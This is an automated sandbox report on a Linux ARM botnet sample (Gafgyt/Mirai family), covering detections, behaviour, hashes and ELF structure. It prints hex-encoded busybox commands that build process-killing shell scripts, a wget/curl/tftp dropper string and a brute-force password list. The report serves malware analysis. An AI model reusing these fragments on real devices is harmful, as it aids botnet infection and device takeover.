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Linux Analysis Report
arm6.elf

Overview

General Information

Sample name:	arm6.elf
Analysis ID:	1664419
MD5:	334228a837e78a7edb50d9b3275017d3
SHA1:	66606ff90c123b84cbc37311afa22837f30505f8
SHA256:	198783c5a2a79fa601aeab32c54580f9c94b661c2fd6045671307891b00ea165
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sample reads /proc/mounts (often used for finding a writable filesystem)

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1664419
Start date and time:	2025-04-14 09:42:21 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm6.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/2@2/0

Runtime Messages

Command:	/tmp/arm6.elf
PID:	5514
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	For God so loved the world
Standard Error:

Process Tree

system is lnxubuntu20

arm6.elf (PID: 5514, Parent: 5432, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.elf

arm6.elf New Fork (PID: 5519, Parent: 5514)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm6.elf	Virustotal: Detection: 41%			Perma Link
Source: arm6.elf	ReversingLabs: Detection: 41%

Source: arm6.elf

String: TSource Engine Query/usr/bin/bash/usr/bin/dash/usr/sbin/wget/usr/bin/curl/usr/bin/tftpGET /t/dlr. HTTP/1.0

Source: /tmp/arm6.elf (PID: 5519)

Socket: 127.0.0.1:22448

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sample	String containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan

Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: 654321
Source: Initial sample	String containing potential weak password found: admin1234
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: support

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/2@2/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/arm6.elf (PID: 5514)

File: /proc/5514/mounts

Jump to behavior

Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3760/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1583/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/2672/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3759/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1577/exe	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3757/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3758/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/19/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1593/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/240/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3094/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/242/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3406/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3406/exe	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/244/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1589/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/124/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/245/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/125/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/4/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/246/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3402/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3402/exe	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/126/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/5/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/247/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/127/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/6/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/248/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/128/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/7/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/249/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/8/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/129/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/9/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/20/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/806/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/21/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/807/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/928/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/22/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/23/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/24/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/25/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/26/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/27/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/28/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/29/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3420/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3420/exe	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/250/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/130/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/251/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/131/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/252/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/132/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/253/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/254/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/255/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/135/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/256/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/257/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/378/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/258/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3412/maps	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/3412/exe	Jump to behavior
Source: /tmp/arm6.elf (PID: 5514)	File opened: /proc/259/maps	Jump to behavior

Source: /tmp/arm6.elf (PID: 5514)

Queries kernel information via 'uname':

Jump to behavior

Source: arm6.elf, 5519.1.00007f117803b000.00007f1178043000.rw-.sdmp	Binary or memory string: vmware
Source: arm6.elf, 5514.1.000055e67e782000.000055e67e8d1000.rw-.sdmp, arm6.elf, 5519.1.000055e67e782000.000055e67e8d1000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm6.elf, 5514.1.00007f117803b000.00007f1178043000.rw-.sdmp, arm6.elf, 5519.1.00007f117803b000.00007f1178043000.rw-.sdmp	Binary or memory string: qemu-arm
Source: arm6.elf, 5519.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp	Binary or memory string: Uqemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm6.elf, 5514.1.000055e67e782000.000055e67e8d1000.rw-.sdmp, arm6.elf, 5519.1.000055e67e782000.000055e67e8d1000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5514.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp, arm6.elf, 5519.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5514.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.M5lsLa:U
Source: arm6.elf, 5514.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.M5lsLa
Source: arm6.elf, 5514.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp, arm6.elf, 5519.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
Source: arm6.elf, 5519.1.00007ffc2d43a000.00007ffc2d45b000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm6.elf, 5514.1.00007f117803b000.00007f1178043000.rw-.sdmp, arm6.elf, 5519.1.00007f117803b000.00007f1178043000.rw-.sdmp	Binary or memory string: !!a1gAWFxuAXsFWUgBRQAA!!a1gAWFxuAXsAWUgKRXgA!!a1gAWFxuAXsAWEgJR3IA!!a10CWFxuAHsGWVcWQHAA!!a10CWFxuAHsGWVcWQHUA!!aFwAWF9uA3sGW0gLRgAA!!aFwAWFlpG2QBW0gJTwAA!!qemu-arm2QBW0gJTwAA!

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	1 Brute Force	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm6.elf	41%	Virustotal		Browse
arm6.elf	42%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	spc.tsunami.elf	Get hash	malicious	Unknown	Browse
	vision.ppc.elf	Get hash	malicious	Mirai	Browse
	linux_mips64el.elf	Get hash	malicious	Chaos	Browse
	linux_aarch64.elf	Get hash	malicious	Kaiji	Browse
	linux_arm7.elf	Get hash	malicious	Chaos	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	dlr.x86.elf	Get hash	malicious	Unknown	Browse
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	ppc.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	m68k.nn.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	nemil.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	nabarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	ppc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.M5lsLa (deleted)

Download File

Process:	/tmp/arm6.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.451871736599313
Encrypted:	false
SSDEEP:	6:GDF/NMGz/VUH/vYDF/dY/VjmsVot/VOArB/VH:CUGCnQXl
MD5:	6C4569BFD084A7799CC9D1E0A599C416
SHA1:	92DE53915F2F8235CA8E596558DB1A7B03D03876
SHA-256:	D29406AEF8E36C3D9964BC3F924D5CC6A456FA77F5734B96EE2E783171232CEE
SHA-512:	D0065DB4867C76B7B2FFDF774DA4AD11ABF72479703B0CBA6E4B848E778D0B4885ECB0A78352A51F947FAC3B0E05C9954479CD0AE74113E1D8EEFCEAA20CA396
Malicious:	false
Reputation:	low
Preview:	8000-24000 r-xp 00000000 fd:00 531606 /tmp/arm6.elf.2b000-2c000 rw-p 0001b000 fd:00 531606 /tmp/arm6.elf.2c000-34000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

/tmp/qemu-open.UKM569 (deleted)

Download File

Process:	/tmp/arm6.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.451871736599313
Encrypted:	false
SSDEEP:	6:GDF/NMGz/VUH/vYDF/dY/VjmsVot/VOArB/VH:CUGCnQXl
MD5:	6C4569BFD084A7799CC9D1E0A599C416
SHA1:	92DE53915F2F8235CA8E596558DB1A7B03D03876
SHA-256:	D29406AEF8E36C3D9964BC3F924D5CC6A456FA77F5734B96EE2E783171232CEE
SHA-512:	D0065DB4867C76B7B2FFDF774DA4AD11ABF72479703B0CBA6E4B848E778D0B4885ECB0A78352A51F947FAC3B0E05C9954479CD0AE74113E1D8EEFCEAA20CA396
Malicious:	false
Reputation:	low
Preview:	8000-24000 r-xp 00000000 fd:00 531606 /tmp/arm6.elf.2b000-2c000 rw-p 0001b000 fd:00 531606 /tmp/arm6.elf.2c000-34000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.207715240596913
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm6.elf
File size:	112'164 bytes
MD5:	334228a837e78a7edb50d9b3275017d3
SHA1:	66606ff90c123b84cbc37311afa22837f30505f8
SHA256:	198783c5a2a79fa601aeab32c54580f9c94b661c2fd6045671307891b00ea165
SHA512:	6e1d9bd6c00877c1259d9e4ea846f9e6c2c6784d17436e2aeafca49b3323a75db62559817a5ac5d4383fcdf26d370410e6d31fbacc99a7d5d97ce1f7f64c57ba
SSDEEP:	3072:Vtayt7SeoCbqX3OCumy1jVf1OOLOFhldQ:Vtbt7yCL9jB1nLqhk
TLSH:	35B30999B8918F66C5D606BFFE1F428D33232BB8E3DA7107CD146B24368A95A0D3F541
File Content Preview:	.ELF..............(.....l...4...........4. ...(........p.....2...2......................................................................lX..........Q.td.............................@-..@............/..@-.,@...0....S..... 0....S.........../..0...0...@..../

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x816c
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	4
Section Header Offset:	111644
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80b4	0xb4	0x14	0x0	0x6	AX	0	1
.text	PROGBITS	0x80c8	0xc8	0x185d4	0x0	0x6	AX	0	4
.fini	PROGBITS	0x2069c	0x1869c	0x14	0x0	0x6	AX	0	1
.rodata	PROGBITS	0x206b0	0x186b0	0x2b6c	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x2321c	0x1b21c	0xc8	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x2b2e4	0x1b2e4	0x4	0x0	0x3	WA	0	4
.init_array	INIT_ARRAY	0x2b2e8	0x1b2e8	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2b2ec	0x1b2ec	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x2b2f4	0x1b2f4	0x28	0x4	0x3	WA	0	4
.data	PROGBITS	0x2b31c	0x1b31c	0x9c	0x0	0x3	WA	0	4
.bss	NOBITS	0x2b3b8	0x1b3b8	0x5798	0x0	0x3	WA	0	8
.shstrtab	STRTAB	0x0	0x1b3b8	0x62	0x0	0x0		0	1

Program Segments

